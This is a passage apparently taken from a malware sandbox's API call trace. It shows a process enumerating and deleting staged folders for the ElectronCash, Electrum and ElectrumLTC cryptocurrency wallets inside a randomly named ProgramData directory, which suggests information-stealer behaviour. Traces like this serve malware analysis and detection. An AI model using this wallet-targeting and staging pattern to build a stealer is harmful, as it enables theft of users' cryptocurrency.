lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectronCash\\", lpString2=".." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectronCash\\..") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectronCash\\.." [0149.514] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\ElectronCash" | out: lpString1="\\Wallets\\ElectronCash") returned="\\Wallets\\ElectronCash" [0149.514] lstrcatW (in: lpString1="\\Wallets\\ElectronCash", lpString2="\\" | out: lpString1="\\Wallets\\ElectronCash\\") returned="\\Wallets\\ElectronCash\\" [0149.514] lstrcatW (in: lpString1="\\Wallets\\ElectronCash\\", lpString2=".." | out: lpString1="\\Wallets\\ElectronCash\\..") returned="\\Wallets\\ElectronCash\\.." [0149.514] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0149.514] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0149.514] FindNextFileW (in: hFindFile=0x882c70, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e90d368, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e90d368, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e90d368, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0149.514] FindClose (in: hFindFile=0x882c70 | out: hFindFile=0x882c70) returned 1 [0149.514] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x3340048 [0149.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectronCash", cchWideChar=68, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 68 [0149.514] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x44) returned 0x32bb298 [0149.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectronCash", cchWideChar=68, lpMultiByteStr=0x32bb298, cbMultiByte=68, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectronCash", lpUsedDefaultChar=0x0) returned 68 [0149.514] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362ba0 [0149.514] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bb298 | out: hHeap=0x2360000) returned 1 [0149.515] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0149.515] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0149.515] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x8) returned 0x23668f8 [0149.515] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x23668f8, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0149.515] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23668f8 | out: hHeap=0x2360000) returned 1 [0149.515] PathMatchSpecW (pszFile="ElectronCash", pszSpec="*.*") returned 1 [0149.515] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x3340048 [0149.515] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x33400e0 [0149.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectronCash", cchWideChar=68, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 68 [0149.515] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x44) returned 0x32bb478 [0149.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectronCash", cchWideChar=68, lpMultiByteStr=0x32bb478, cbMultiByte=68, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectronCash", lpUsedDefaultChar=0x0) returned 68 [0149.515] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362e60 [0149.515] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bb478 | out: hHeap=0x2360000) returned 1 [0149.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\ElectronCash", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0149.515] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340b60 [0149.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\ElectronCash", cchWideChar=22, lpMultiByteStr=0x3340b60, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Wallets\\ElectronCash", lpUsedDefaultChar=0x0) returned 22 [0149.515] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33406a0 [0149.515] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340b60 | out: hHeap=0x2360000) returned 1 [0149.515] CreateFileA (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectronCash" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\wallets\\electroncash"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.516] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33406a0 | out: hHeap=0x2360000) returned 1 [0149.516] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362e60 | out: hHeap=0x2360000) returned 1 [0149.516] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400e0 | out: hHeap=0x2360000) returned 1 [0149.516] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0149.516] DeleteFileW (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectronCash" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\wallets\\electroncash")) returned 0 [0149.516] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362ba0 | out: hHeap=0x2360000) returned 1 [0149.516] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e905e7a, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e905e7a, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e905e7a, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Electrum", cAlternateFileName="")) returned 1 [0149.516] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets" [0149.516] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\" [0149.516] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\", lpString2="Electrum" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Electrum") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Electrum" [0149.516] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0149.516] lstrcatW (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\" [0149.516] lstrcatW (in: lpString1="\\Wallets\\", lpString2="Electrum" | out: lpString1="\\Wallets\\Electrum") returned="\\Wallets\\Electrum" [0149.516] lstrcmpW (lpString1="Electrum", lpString2=".") returned 1 [0149.517] lstrcmpW (lpString1="Electrum", lpString2="..") returned 1 [0149.517] lstrcpyW (in: lpString1=0x19e284, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Electrum" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Electrum") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Electrum" [0149.517] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Electrum", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Electrum\\*.*") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Electrum\\*.*" [0149.517] FindFirstFileW (in: lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Electrum\\*.*", lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e905e7a, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e905e7a, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e905e7a, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x882bb0 [0149.517] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Electrum" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Electrum") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Electrum" [0149.517] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Electrum", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Electrum\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Electrum\\" [0149.517] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Electrum\\", lpString2="." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Electrum\\.") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Electrum\\." [0149.517] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\Electrum" | out: lpString1="\\Wallets\\Electrum") returned="\\Wallets\\Electrum" [0149.517] lstrcatW (in: lpString1="\\Wallets\\Electrum", lpString2="\\" | out: lpString1="\\Wallets\\Electrum\\") returned="\\Wallets\\Electrum\\" [0149.517] lstrcatW (in: lpString1="\\Wallets\\Electrum\\", lpString2="." | out: lpString1="\\Wallets\\Electrum\\.") returned="\\Wallets\\Electrum\\." [0149.517] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0149.517] FindNextFileW (in: hFindFile=0x882bb0, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e905e7a, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e905e7a, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e905e7a, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.517] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Electrum" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Electrum") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Electrum" [0149.517] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Electrum", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Electrum\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Electrum\\" [0149.518] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Electrum\\", lpString2=".." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Electrum\\..") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Electrum\\.." [0149.518] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\Electrum" | out: lpString1="\\Wallets\\Electrum") returned="\\Wallets\\Electrum" [0149.518] lstrcatW (in: lpString1="\\Wallets\\Electrum", lpString2="\\" | out: lpString1="\\Wallets\\Electrum\\") returned="\\Wallets\\Electrum\\" [0149.518] lstrcatW (in: lpString1="\\Wallets\\Electrum\\", lpString2=".." | out: lpString1="\\Wallets\\Electrum\\..") returned="\\Wallets\\Electrum\\.." [0149.518] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0149.518] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0149.518] FindNextFileW (in: hFindFile=0x882bb0, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e905e7a, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e905e7a, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e905e7a, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0149.518] FindClose (in: hFindFile=0x882bb0 | out: hFindFile=0x882bb0) returned 1 [0149.518] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x2369100 [0149.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Electrum", cchWideChar=64, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0149.519] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba588 [0149.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Electrum", cchWideChar=64, lpMultiByteStr=0x32ba588, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Electrum", lpUsedDefaultChar=0x0) returned 64 [0149.519] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba810 [0149.519] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba588 | out: hHeap=0x2360000) returned 1 [0149.519] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2369100 | out: hHeap=0x2360000) returned 1 [0149.519] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0149.519] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x8) returned 0x2366838 [0149.519] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x2366838, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0149.519] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366838 | out: hHeap=0x2360000) returned 1 [0149.519] PathMatchSpecW (pszFile="Electrum", pszSpec="*.*") returned 1 [0149.519] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x2368f68 [0149.519] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x3340f78 [0149.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Electrum", cchWideChar=64, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0149.519] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba930 [0149.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Electrum", cchWideChar=64, lpMultiByteStr=0x32ba930, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Electrum", lpUsedDefaultChar=0x0) returned 64 [0149.519] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba198 [0149.519] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba930 | out: hHeap=0x2360000) returned 1 [0149.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\Electrum", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0149.520] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x12) returned 0x3340d80 [0149.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\Electrum", cchWideChar=18, lpMultiByteStr=0x3340d80, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Wallets\\Electrum", lpUsedDefaultChar=0x0) returned 18 [0149.520] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33406a0 [0149.520] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340d80 | out: hHeap=0x2360000) returned 1 [0149.520] CreateFileA (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Electrum" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\wallets\\electrum"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.520] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33406a0 | out: hHeap=0x2360000) returned 1 [0149.520] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba198 | out: hHeap=0x2360000) returned 1 [0149.520] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340f78 | out: hHeap=0x2360000) returned 1 [0149.520] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2368f68 | out: hHeap=0x2360000) returned 1 [0149.520] DeleteFileW (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Electrum" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\wallets\\electrum")) returned 0 [0149.520] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba810 | out: hHeap=0x2360000) returned 1 [0149.520] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e90ac55, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e90ac55, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e90ac55, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ElectrumLTC", cAlternateFileName="ELECTR~1")) returned 1 [0149.520] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets" [0149.520] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\" [0149.520] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\", lpString2="ElectrumLTC" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectrumLTC") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectrumLTC" [0149.521] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0149.521] lstrcatW (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\" [0149.521] lstrcatW (in: lpString1="\\Wallets\\", lpString2="ElectrumLTC" | out: lpString1="\\Wallets\\ElectrumLTC") returned="\\Wallets\\ElectrumLTC" [0149.521] lstrcmpW (lpString1="ElectrumLTC", lpString2=".") returned 1 [0149.521] lstrcmpW (lpString1="ElectrumLTC", lpString2="..") returned 1 [0149.521] lstrcpyW (in: lpString1=0x19e284, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectrumLTC" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectrumLTC") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectrumLTC" [0149.521] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectrumLTC", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectrumLTC\\*.*") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectrumLTC\\*.*" [0149.521] FindFirstFileW (in: lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectrumLTC\\*.*", lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e90ac55, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e90ac55, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e90ac55, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x882c70 [0149.521] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectrumLTC" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectrumLTC") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectrumLTC" [0149.521] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectrumLTC", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectrumLTC\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectrumLTC\\" [0149.521] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectrumLTC\\", lpString2="." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectrumLTC\\.") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectrumLTC\\." [0149.521] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\ElectrumLTC" | out: lpString1="\\Wallets\\ElectrumLTC") returned="\\Wallets\\ElectrumLTC" [0149.521] lstrcatW (in: lpString1="\\Wallets\\ElectrumLTC", lpString2="\\" | out: lpString1="\\Wallets\\ElectrumLTC\\") returned="\\Wallets\\ElectrumLTC\\" [0149.521] lstrcatW (in: lpString1="\\Wallets\\ElectrumLTC\\", lpString2="." | out: lpString1="\\Wallets\\ElectrumLTC\\.") returned="\\Wallets\\ElectrumLTC\\." [0149.521] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0149.521] FindNextFileW (in: hFindFile=0x882c70, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e90ac55, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e90ac55, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e90ac55, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.522] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectrumLTC" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectrumLTC") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectrumLTC" [0149.522] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectrumLTC", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectrumLTC\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectrumLTC\\" [0149.522] lstrcatW (in: 